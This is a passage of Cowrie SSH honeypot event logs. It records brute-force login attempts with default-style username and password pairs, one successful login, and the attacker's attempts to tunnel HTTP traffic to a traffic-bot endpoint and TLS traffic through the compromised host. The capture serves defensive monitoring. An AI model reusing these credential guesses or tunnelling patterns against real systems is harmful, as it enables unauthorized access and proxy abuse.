2BqO96L7xK5Xq'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:49.326528Z","src_ip":"63.141.242.2","session":"952afd2d32d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"root","message":"login attempt [gitlab/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:49.688935Z","src_ip":"45.153.34.195","session":"d70aa61c6caa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28610,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba70e2a8df9e","protocol":"ssh","message":"New connection: 91.92.40.36:28610 (159.203.135.109:22) [session: ba70e2a8df9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:49.756906Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"P@$w0rd","message":"login attempt [guest/P@$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:50.264670Z","src_ip":"91.92.40.36","session":"7a852c12302b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62117,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f825054648f","protocol":"ssh","message":"New connection: 123.27.168.40:62117 (10.17.0.5:22) [session: 8f825054648f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:50.410810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:50.415174Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:50.776640Z","src_ip":"45.153.34.195","session":"d70aa61c6caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:50.783588Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:51.878335Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16712,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bbfb6f7d8b5","protocol":"ssh","message":"New connection: 45.153.34.195:16712 (10.17.0.5:22) [session: 0bbfb6f7d8b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.071403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.094530Z","src_ip":"45.153.34.195","session":"0bbfb6f7d8b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.176418Z","src_ip":"45.153.34.195","session":"0bbfb6f7d8b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"P4ssw0rd","message":"login attempt [nagios/P4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.192332Z","src_ip":"91.92.40.36","session":"85f6f58bb6b6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.267951Z","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.348986Z","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.499790Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dVFUdDFfSVJ1TzNJaWhJNw%3D%3DnJe3kzN3h2kfi5pMNiSxm5UgXNosoErwlAgemOCUeL42d93GrOTFdzwKuPgs5H7wtpK5p%2FreOqRpaIZWfDmaa1zzZ98I8oJ0%2Fm5UQuYIR%2B9vBwTB%2BKK5LZNDuU%2FCdAHiedydEjFZBFVqalpAe8YzBreCwfhb3o9jqwLUXIN%2FSobNvFnLLWazOCbWCl35DuI0qV0hatjUj%2Fs2o%2BAiaQI1Nd%2BL%2F9KVFSKIqBpvampFjUc7Bly6PldeJQ38ecpk9JW%2BFdG5Xlauo52ThuR9lcszAnPItbJTeSkmb3ZEt2VmuaQ1ja1cUFBwS0TUM%2BgMWWmOuW2A1SWCIrZySYGgZp1SXKq7oYGNcoh4CxoALqtWm5XK5mXvj1GKVlna0n6UoMx5Lh1WHZbMvXNSG2MXcMg1%2F9V6rF5ys22e6gqVfssRugjfXKAjgzmUTU591ri872tC4B98qSJAt9QnBJuZ3poP3SjFXh3KfJVX2nFmYWmAMTkPe8oouK6RsAPX22mXVlEb3FOP34OzJXh3n5dJPKmtbX3uG9GJ4OIDOLOBDai9qje1QlL7lPlTas%2BxcZg6AX8ieFTSDk%2FAalKNmZIWLG2aSP7pcsIlmRULGvdko3VNImC6vglGG02h1AUrBt4Y0C2j4pUOkQeiv8mzkYE5n0yS317oi60H3fjClqtdGt%2BHq60491XEtoLVS96TdZ9nW%2BpJoELdtzmJXAPboXfkt6eaXht8B76LIdZ%2FBISQBNwn0VTRCbmu9Y2o7%2FueFPZz%2B%2FBLXGmjovAih2MZR8Mw2elF1mfJbxHusSeV51eEXNtJmpUKFo9deep%2FO%2FZ4XJf9YymacVc3ZxK3BlVAfd33VAEeY1MsE8M35zqqsywvkTBkHc37wuUD2VZWmtaWuykgOqL8Zr2tkgIlA%2BOW7LVrjY%2FQiAQSbPwFxql%2B5KOACalOfYASEyI7VFy1ah3m%2FxtyCx82ivBJPSoYI4uVonZ6Acww89oPkvjWcWoyVSEyBVzjTDje5g7FDQ5Z8wynpQ8FAi3iH7qX5j140DMspv2xPvCOG6xzuu9eusRylZ78964zjNgeAXcU5dDfPLj4Iv1v%2BTxJ'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1174\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=dVFUdDFfSVJ1TzNJaWhJNw%3D%3DnJe3kzN3h2kfi5pMNiSxm5UgXNosoErwlAgemOCUeL42d93GrOTFdzwKuPgs5H7wtpK5p%2FreOqRpaIZWfDmaa1zzZ98I8oJ0%2Fm5UQuYIR%2B9vBwTB%2BKK5LZNDuU%2FCdAHiedydEjFZBFVqalpAe8YzBreCwfhb3o9jqwLUXIN%2FSobNvFnLLWazOCbWCl35DuI0qV0hatjUj%2Fs2o%2BAiaQI1Nd%2BL%2F9KVFSKIqBpvampFjUc7Bly6PldeJQ38ecpk9JW%2BFdG5Xlauo52ThuR9lcszAnPItbJTeSkmb3ZEt2VmuaQ1ja1cUFBwS0TUM%2BgMWWmOuW2A1SWCIrZySYGgZp1SXKq7oYGNcoh4CxoALqtWm5XK5mXvj1GKVlna0n6UoMx5Lh1WHZbMvXNSG2MXcMg1%2F9V6rF5ys22e6gqVfssRugjfXKAjgzmUTU591ri872tC4B98qSJAt9QnBJuZ3poP3SjFXh3KfJVX2nFmYWmAMTkPe8oouK6RsAPX22mXVlEb3FOP34OzJXh3n5dJPKmtbX3uG9GJ4OIDOLOBDai9qje1QlL7lPlTas%2BxcZg6AX8ieFTSDk%2FAalKNmZIWLG2aSP7pcsIlmRULGvdko3VNImC6vglGG02h1AUrBt4Y0C2j4pUOkQeiv8mzkYE5n0yS317oi60H3fjClqtdGt%2BHq60491XEtoLVS96TdZ9nW%2BpJoELdtzmJXAPboXfkt6eaXht8B76LIdZ%2FBISQBNwn0VTRCbmu9Y2o7%2FueFPZz%2B%2FBLXGmjovAih2MZR8Mw2elF1mfJbxHusSeV51eEXNtJmpUKFo9deep%2FO%2FZ4XJf9YymacVc3ZxK3BlVAfd33VAEeY1MsE8M35zqqsywvkTBkHc37wuUD2VZWmtaWuykgOqL8Zr2tkgIlA%2BOW7LVrjY%2FQiAQSbPwFxql%2B5KOACalOfYASEyI7VFy1ah3m%2FxtyCx82ivBJPSoYI4uVonZ6Acww89oPkvjWcWoyVSEyBVzjTDje5g7FDQ5Z8wynpQ8FAi3iH7qX5j140DMspv2xPvCOG6xzuu9eusRylZ78964zjNgeAXcU5dDfPLj4Iv1v%2BTxJ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.502800Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"Wangsu@2017","message":"login attempt [cloud/Wangsu@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.542368Z","src_ip":"45.153.34.195","session":"0bbfb6f7d8b5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.726749Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac\\x90\\xf8,qX\\x12*}\\xfe\\x18\\\\\\x84'`\\xf8\\x04\\xa5\\x0e\\xad\\xdd\\x80%2\\x99\\xed\\xa5E]\\x1e\\xb6\\xb5 V\\xb0rU=\\xae\\x0c\\x8b\\xa7\\xa1hx\\x97\\t\\x93\\xe7\\xe8w\\xc0\\xee\\xd5f&K\\xd8'\\x8d)f\\xa5%k\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 1\\xc7/\\xce5\\x83\\x18\\xa1\\xf3\\x9b\\xc6\\x02\\x01\\xf2\\x9b\\x0f\\xeb\\x0e\\x94J\\x94w\\x8a\\xe52\\xb29\\x91\\xff<\\xa5\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xac\\x90\\xf8,qX\\x12*}\\xfe\\x18\\\\\\x84'`\\xf8\\x04\\xa5\\x0e\\xad\\xdd\\x80%2\\x99\\xed\\xa5E]\\x1e\\xb6\\xb5 V\\xb0rU=\\xae\\x0c\\x8b\\xa7\\xa1hx\\x97\\t\\x93\\xe7\\xe8w\\xc0\\xee\\xd5f&K\\xd8'\\x8d)f\\xa5%k\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 1\\xc7/\\xce5\\x83\\x18\\xa1\\xf3\\x9b\\xc6\\x02\\x01\\xf2\\x9b\\x0f\\xeb\\x0e\\x94J\\x94w\\x8a\\xe52\\xb29\\x91\\xff<\\xa5\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:52.729832Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:53.179867Z","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:54:53.411912Z","src_ip":"123.27.168.40","session":"8f825054648f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5l\\x16b\\xd1H\\x01\\x13W+b\\xe1\\x1a{\\xbeF\\x9c&\\x9d\\xf8Z<Od\\xaewW:\\xac\\xb8\\x91\" i\\xb0-\\xd4\\x93aKW \\xdd\\xb7+# \\x15\\xa4q\\xff\\x06\\x030Q(V\\x991^)\\x1dL\\xbe\\xbb\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xda\\xea*P\\xe2e2D\\xedl\\xd1Aq\\x89)X%\\xb2\\xa0\\xb8\\xfelc\\x176\\xda\\x8ct\\xaf=\\xc30\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5l\\x16b\\xd1H\\x01\\x13W+b\\xe1\\x1a{\\xbeF\\x9c&\\x9d\\xf8Z<Od\\xaewW:\\xac\\xb8\\x91\" i\\xb0-\\xd4\\x93aKW \\xdd\\xb7+# 